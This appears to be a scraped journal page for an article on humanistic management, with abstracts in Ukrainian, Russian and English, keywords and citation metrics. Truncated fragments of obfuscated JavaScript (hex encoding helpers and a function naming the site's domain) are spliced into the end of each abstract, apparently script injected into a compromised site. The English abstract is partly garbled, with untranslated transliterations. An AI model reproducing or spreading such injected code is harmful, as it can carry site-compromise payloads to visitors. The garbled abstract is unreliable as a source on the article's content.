
Представлено аналіз концепції гуманістичного менеджменту, розкриваються його проблеми і на цій основі розробляються шляхи і напрямки підвищення ефективності гуманістичного менеджменту. Гуманістичний менеджмент представляє собою новий тип управлінської діяльності, яка повинна бути направлена на вирішення проблем соціоантропологічного характеру. Розроблено нову управлінську парадигму гуманістичного менеджменту, яка включає принципи гуманізму і людиноцентризму і формується на основі науки, культури, освіти і нових управлінських технологій. Зроблено висновок. що концепція гуманістичного менеджменту базується на антропологічних засадах, які представляють сукупність ідей гуманізму, які сприяють людському розвитку// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Представлен анализ концепции гуманистического менеджмента, раскрываются его проблемы и на этой основе разрабатываются пути и направления повышения эффективности гуманистического менеджмента. Гуманистический менеджмент представляет собой новый тип управленческой деятельности, которая должна быть направлена на решение проблем социоантропологического характера. Разработано новую управленческую концепцию гуманистического менеджмента, которая включает принципы гуманизма и человекоцентризма и формируется на основе науки, культуры, образования и новых управленческих технологий. Концепция гуманистического менеджмента определена как новый тип управленческой публичной детяельности, направленной на достижение целей гуманитарного развития средствами гуманизма. Концепци гуманистического менеджмента как мультипарадигмальная сфера знания детерминируется различными факторами – экономическими, политическими, социальными, культурными.Сделан вывод, что концепция гуманистического менеджмента базируется на антропологических основаниях, которые представляют совокупность идей гуманизма, которые способствуют человеческому развитию и базируються на идеях и принципах гуманизма// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Analyzes the concept of humanistic management, disclosed its problems and on this basis developed ways and directions of increase of efficiency of humanistic management. Humanistic management is a new type of management activity, which should be aimed at solving the problems of socìoantropologìčnogo nature. Developed a new management paradigm of humanistic management, which includes the principles of humanism and lûdinocentrizmu and is formed on the basis of science, culture, education and new management technologies. The concept of humanistic management is defined as a new type of management of public activities aimed at achieving the goals of humanitarian development by means of humanism. The concept of humanistic management as mul′tiparadigmal′na the scope of knowledge is defined by various factors – economic, political, social, cultural. Concluded. that the concept of humanistic management based on antropoloìgčnih principles that represent a set of ideas of humanism, which conducive to human development// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "vestnikzgia.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
гуманистический менеджмент; новая управленческая концепция; человецентризм; гуманизм; человеческий потенциал; человеческое развитие; глобализация; евроинтеграция; антропологичская парадигма, УДК 165.742:005: 316.32, humanistic management; a new management concept; lûdinocenntrizm; humanism; human potential; lûdsč′kij development; globalization; European integration; anthropological paradigm, гуманістичний менеджмент; нова управлінська концепція; людиноценнтризм; гуманізм; людський потенціал; людський розвиток; глобалізація; євроінтеграція; антропологічна парадигма
гуманистический менеджмент; новая управленческая концепция; человецентризм; гуманизм; человеческий потенциал; человеческое развитие; глобализация; евроинтеграция; антропологичская парадигма, УДК 165.742:005: 316.32, humanistic management; a new management concept; lûdinocenntrizm; humanism; human potential; lûdsč′kij development; globalization; European integration; anthropological paradigm, гуманістичний менеджмент; нова управлінська концепція; людиноценнтризм; гуманізм; людський потенціал; людський розвиток; глобалізація; євроінтеграція; антропологічна парадигма
| selected citations These citations are derived from selected sources. This is an alternative to the "Influence" indicator, which also reflects the overall/total impact of an article in the research community at large, based on the underlying citation network (diachronically). | 0 | |
| popularity This indicator reflects the "current" impact/attention (the "hype") of an article in the research community at large, based on the underlying citation network. | Average | |
| influence This indicator reflects the overall/total impact of an article in the research community at large, based on the underlying citation network (diachronically). | Average | |
| impulse This indicator reflects the initial momentum of an article directly after its publication, based on the underlying citation network. | Average |
